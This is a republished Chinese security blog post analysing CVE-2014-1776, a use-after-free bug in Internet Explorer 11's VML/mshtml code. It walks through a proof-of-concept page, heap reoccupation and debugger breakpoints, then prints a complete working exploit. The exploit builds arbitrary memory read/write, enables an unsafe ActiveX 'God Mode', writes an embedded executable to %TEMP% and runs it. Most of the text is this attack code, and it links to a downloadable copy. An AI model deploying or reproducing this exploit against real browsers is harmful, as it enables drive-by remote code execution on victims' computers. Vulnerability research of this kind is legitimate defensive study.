Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

CVE-2014-1776 IE11 VGX.DLL UAF漏洞分析及利用

$
0
0
1. 漏洞分析

由于是UAF的漏洞,因此先开启 HPA 和 UST 然后用WinDbg附加并打开POC页面

<html xmlns:v="urn:schemas-microsoft-com:vml"> <head id="haed"> <title>IE Case Study - STEP1</title> <style> v\:*{Behavior: url(#default#VML)} </style> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" /> <script> window.onload = function (){ var head = document.getElementById("haed") tmp = document.createElement("CVE-2014-1776") document.getElementById("vml").childNodes[0].appendChild(tmp) tmp.appendChild(head) tmp = head.offsetParent tmp.onpropertychange = function(){ this["removeNode"](true) document.createElement("CVE-2014-1776").title = "" } head.firstChild.nextSibling.disabled = head } </script> </head> <div><v:group id="vml" style="width:500pt;"><div></div></group></div> </div> 访问后WinDbg崩溃,可以看到错误是发生在 CMarkup::IsConnectedToPrimaryMarkup 函数,并且这个释放的堆大小为 0x428
CVE-2014-1776 IE11 VGX.DLL UAF漏洞分析及利用

下面尝试下对释放后的堆进行占位

<html xmlns:v="urn:schemas-microsoft-com:vml"> <head id="haed"> <title>IE Case Study - STEP1</title> <style> v\:*{Behavior: url(#default#VML)} </style> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" /> <script> window.onload = function (){ var head = document.getElementById("haed") tmp = document.createElement("CVE-2014-1776") document.getElementById("vml").childNodes[0].appendChild(tmp) tmp.appendChild(head) tmp = head.offsetParent tmp.onpropertychange = function(){ this["removeNode"](true) document.createElement("CVE-2014-1776").title = "" var elem = document.createElement("div"); elem.className = new Array(0x428/2).join("a"); } head.firstChild.nextSibling.disabled = head } </script> </head> <div><v:group id="vml" style="width:500pt;"><div></div></group></div> </div>

先去掉 HPA 和 UST ,由于 CMarkup::IsConnectedToPrimaryMarkup 函数也会在其他地方调用,因此对 CBase::put_BoolHelper 函数里的 CMarkup::IsConnectedToPrimaryMarkup 进行下断

bp MSHTML!CBase::put_BoolHelper "bc *; bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup 3; g"
CVE-2014-1776 IE11 VGX.DLL UAF漏洞分析及利用
2. 漏洞利用 用IDA打开mshtml.dll,跳转到 CMarkup::IsConnectedToPrimaryMarkup 函数
CVE-2014-1776 IE11 VGX.DLL UAF漏洞分析及利用
我们能控制 ecx 指向的内容,让其执行绿色标识的块,再看调用 CMarkup::IsConnectedToPrimaryMarkup 的函数 CMarkup::OnCssChange
CVE-2014-1776 IE11 VGX.DLL UAF漏洞分析及利用
esi 指向的正是我们能控制的内容,然后看 CMarkup::IsPendingPrimaryMarkup 函数
CVE-2014-1776 IE11 VGX.DLL UAF漏洞分析及利用
CMarkup::Root 函数
CVE-2014-1776 IE11 VGX.DLL UAF漏洞分析及利用
这里要特别注意的是最后的 mov eax, [eax+ecx-24h] ,再看 CElement::EnsureFormatCacheChange 函数
CVE-2014-1776 IE11 VGX.DLL UAF漏洞分析及利用
最后看 CView::AddInvalidationTask 函数
CVE-2014-1776 IE11 VGX.DLL UAF漏洞分析及利用
这里 esi 的值就是调用前push进来的 edx , edx 为 [eax+1Ch] ,而 eax 就是调用 CMarkup::Root 函数后的返回值,特别注意 inc dword ptr [edi+248h] ,这可以使任意地址处的数据加1,到这就跟 CVE-2014-0322 很类似了。

漏洞利用的内存布局总结如下:

Conditions to control the bug and force an INC of dword at magic_addr + 0x1b: X = [ptr+0A4h] ==> Y = [X+0ch] ==> [Y+208h] is 0 [Y+630h+248h] = [Y+878h] val to inc! <====== [Y+630h+380h] = [Y+9b0h] has bit 16 set [Y+630h+3f4h] = [Y+0a24h] has bit 7 set [Y+1044h] is 0 U = [ptr+118h] ==> [U] is 0 => V = [U-24h] => W = [V+1ch], [W+0ah] has bit 1 set & bit 4 unset [W+44h] has bit 7 set [W+5ch] is writable [ptr+198h] has bit 12 set 3. 完整EXP(上帝模式) <html xmlns:v="urn:schemas-microsoft-com:vml"> <head id="haed"> <title>IE Case Study - STEP1</title> <style> v\:*{Behavior: url(#default#VML)} </style> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" /> <script language="javascript"> magic_addr = 0xc000000; function dword2Str(dword) { var low = dword % 0x10000; var high = Math.floor(dword / 0x10000); if (low == 0 || high == 0) alert("dword2Str: null wchars not allowed"); return String.fromCharCode(low, high); } function getPattern(offset_values, tot_bytes) { if (tot_bytes % 4 != 0) alert("getPattern(): tot_bytes is not a multiple of 4"); var pieces = new Array(); var pos = 0; for (i = 0; i < offset_values.length/2; ++i) { var offset = offset_values[i*2]; var value = offset_values[i*2 + 1]; var padding = new Array((offset - pos)/2 + 1).join("a"); pieces.push(padding + dword2Str(value)); pos = offset + 4; } // The "- 2" accounts for the null wchar at the end of the string. var padding = new Array((tot_bytes - 2 - pos)/2 + 1).join("a"); pieces.push(padding); return pieces.join(""); } function trigger() { var head = document.getElementById("haed") tmp = document.createElement("CVE-2014-1776") document.getElementById("vml").childNodes[0].appendChild(tmp) tmp.appendChild(head) tmp = head.offsetParent tmp.onpropertychange = function(){ this["removeNode"](true) document.createElement("CVE-2014-1776").title = "" var elem = document.createElement("div"); elem.className = getPattern([ 0xa4, magic_addr + 0x20 - 0xc, // X; X+0xc --> b[0] 0x118, magic_addr + 0x24 + 0x24, // U; U --> (*); U-0x24 --> b[1] 0x198, -1 // bit 12 set ], 0x428); } head.firstChild.nextSibling.disabled = head } // The object is 0x428 bytes. // Conditions to control the bug and force an INC of dword at magic_addr + 0x1b: // X = [ptr+0A4h] ==> Y = [X+0ch] ==> // [Y+208h] is 0 // [Y+630h+248h] = [Y+878h] val to inc! <====== // [Y+630h+380h] = [Y+9b0h] has bit 16 set // [Y+630h+3f4h] = [Y+0a24h] has bit 7 set // [Y+1044h] is 0 // U = [ptr+118h] ==> [U] is 0 => V = [U-24h] => W = [V+1ch], // [W+0ah] has bit 1 set & bit 4 unset // [W+44h] has bit 7 set // [W+5ch] is writable // [ptr+198h] has bit 12 set window.onload = function() { CollectGarbage(); var header_size = 0x20; var array_len = (0x10000 - header_size)/4; var a = new Array(); for (var i = 0; i < 0x1000; ++i) { a[i] = new Array(array_len); var idx; b = a[i]; b[0] = magic_addr + 0x1b - 0x878; // Y idx = Math.floor((b[0] + 0x9b0 - (magic_addr + 0x20))/4); // index for Y+9b0h b[idx] = -1; b[idx+1] = -1; idx = Math.floor((b[0] + 0xa24 - (magic_addr + 0x20))/4); // index for Y+0a24h b[idx] = -1; b[idx+1] = -1; idx = Math.floor((b[0] + 0x1044 - (magic_addr + 0x20))/4); // index for Y+1044h b[idx] = 0; b[idx+1] = 0; // The following address would be negative so we add 0x10000 to translate the address // from the previous copy of the array to this one. idx = Math.floor((b[0] + 0x208 - (magic_addr + 0x20) + 0x10000)/4); // index for Y+208h b[idx] = 0; b[idx+1] = 0; b[1] = magic_addr + 0x28 - 0x1c; // V, [U-24h]; V+1ch --> b[2] b[(0x24 + 0x24 - 0x20)/4] = 0; // [U] (*) b[2] = magic_addr + 0x2c - 0xa; // W; W+0ah --> b[3] b[3] = 2; // [W+0ah] idx = Math.floor((b[2] + 0x44 - (magic_addr + 0x20))/4); // index for W+44h b[idx] = -1; b[idx+1] = -1; } // /------- allocation header -------\ /--------- buffer header ---------\ // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000 // array_len buf_len // alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16)); trigger(); // Locate the modified Array. idx = -1; for (var i = 0; i < 0x1000 - 1; ++i) { // We try to modify the first element of the next Array. a[i][array_len + header_size/4] = 1; // If we successfully modified the first element of the next Array, then a[i] // is the Array whose length we modified. if (a[i+1][0] == 1) { idx = i; break; } } if (idx == -1) { // alert("Can't find the modified Array"); window.location.reload(); return; } // Modify the second Array for reading/writing everywhere. a[idx][array_len + 0x14/4] = 0x3fffffff; a[idx][array_len + 0x18/4] = 0x3fffffff; a[idx+1].length = 0x3fffffff; var base_addr = magic_addr + 0x10000 + header_size; // Very Important: // The numbers in Array are signed int32. Numbers greater than 0x7fffffff are // converted to 64-bit floating point. // This means that we can't, for instance, write // a[idx+1][index] = 0xc1a0c1a0; // The number 0xc1a0c1a0 is too big to fit in a signed int32. // We'll need to represent 0xc1a0c1a0 as a negative integer: // a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0); function int2uint(x) { return (x < 0) ? 0x100000000 + x : x; } function uint2int(x) { return (x >= 0x80000000) ? x - 0x100000000 : x; } // The value returned will be in [0, 0xffffffff]. function read(addr) { var delta = addr - base_addr; var val; if (delta >= 0) val = a[idx+1][delta/4]; else // In 2-complement arithmetic, // -x/4 = (2^32 - x)/4 val = a[idx+1][(0x100000000 + delta)/4]; return int2uint(val); } // val must be in [0, 0xffffffff]. function write(addr, val) { val = uint2int(val); var delta = addr - base_addr; if (delta >= 0) a[idx+1][delta/4] = val; else // In 2-complement arithmetic, // -x/4 = (2^32 - x)/4 a[idx+1][(0x100000000 + delta)/4] = val; } function get_addr(obj) { a[idx+2][0] = obj; return read(base_addr + 0x10000); } // Here's the beginning of the element div: // +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480 // v // 6cc55480 05354280 00000000 0536cfb0 // // To find the vftable MSHTML!CDivElement::`vftable', we must follow a chain of pointers: // X = [div_elem+0ch] // X = [X+8] // obj_ptr = [X+10h] // vftptr = [obj_ptr] // where vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04. var addr = get_addr(document.createElement("div")); jscript9 = read(addr) - 0x5480; mshtml = read(read(read(read(addr + 0xc) + 8) + 0x10)) - 0x3aeb04; var old1 = read(mshtml+0xebcd98+0x10); var old2 = read(mshtml+0xebcd98+0x14); function GodModeOn() { write(mshtml+0xebcd98+0x10, jscript9+0x155e19); write(mshtml+0xebcd98+0x14, jscript9+0x155d7d); } function GodModeOff() { write(mshtml+0xebcd98+0x10, old1); write(mshtml+0xebcd98+0x14, old2); } // content of exe file encoded in base64. runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; function createExe(fname, data) { GodModeOn(); var tStream = new ActiveXObject("ADODB.Stream"); var bStream = new ActiveXObject("ADODB.Stream"); GodModeOff(); tStream.Type = 2; // text bStream.Type = 1; // binary tStream.Open(); bStream.Open(); tStream.WriteText(data); tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?) tStream.CopyTo(bStream); var bStream_addr = get_addr(bStream); var string_addr = read(read(bStream_addr + 0x50) + 0x44); if (read(string_addr) != 0) { // only when there is a string to overwrite write(string_addr, 0x003a0043); // 'C:' write(string_addr + 4, 0x0000005c); // '\' } try { bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists } catch(err) { return 0; } tStream.Close(); bStream.Close(); return 1; } // decoder // [https://gist.github.com/1020396] by [https://github.com/atk] function atob(input) { var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var str = String(input).replace(/=+$/, ''); if (str.length % 4 == 1) { throw new InvalidCharacterError("'atob' failed: The string to be decoded is not correctly encoded."); } for ( // initialize result and counters var bc = 0, bs, buffer, idx = 0, output = ''; // get next character buffer = str.charAt(idx++); // character found in table? initialize bit storage and add its ascii value; ~buffer && (bs = bc % 4 ? bs * 64 + buffer : buffer, // and if not first of each 4 characters, // convert the first 8 bits to one ascii character bc++ % 4) ? output += String.fromCharCode(255 & bs >> (-2 * bc & 6)) : 0 ) { // try to find character in table (0-63, not found => -1) buffer = chars.indexOf(buffer); } return output; } function decode(b64Data) { var data = atob(b64Data); // Now data is like // 11 00 12 00 45 00 50 00 ... // rather than like // 11 12 45 50 ... // Let's fix this! var arr = new Array(); for (var i = 0; i < data.length / 2; ++i) { var low = data.charCodeAt(i*2); var high = data.charCodeAt(i*2 + 1); arr.push(String.fromCharCode(low + high * 0x100)); } return arr.join(''); } GodModeOn(); var shell = new ActiveXObject("WScript.shell"); GodModeOff(); fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe"); if (createExe(fname, decode(runcalc)) == 0) { // alert("SaveToFile failed"); window.location.reload(); return 0; } shell.Exec(fname); // alert("Done"); } </script> </head> <div><v:group id="vml" style="width:500pt;"><div></div></group></div> </div>
CVE-2014-1776 IE11 VGX.DLL UAF漏洞分析及利用

完整EXP下载地址: https://github.com/birdg0/exp/blob/master/browser/ie11-cve-2014-1776-exp.html


Viewing all articles
Browse latest Browse all 12749

Trending Articles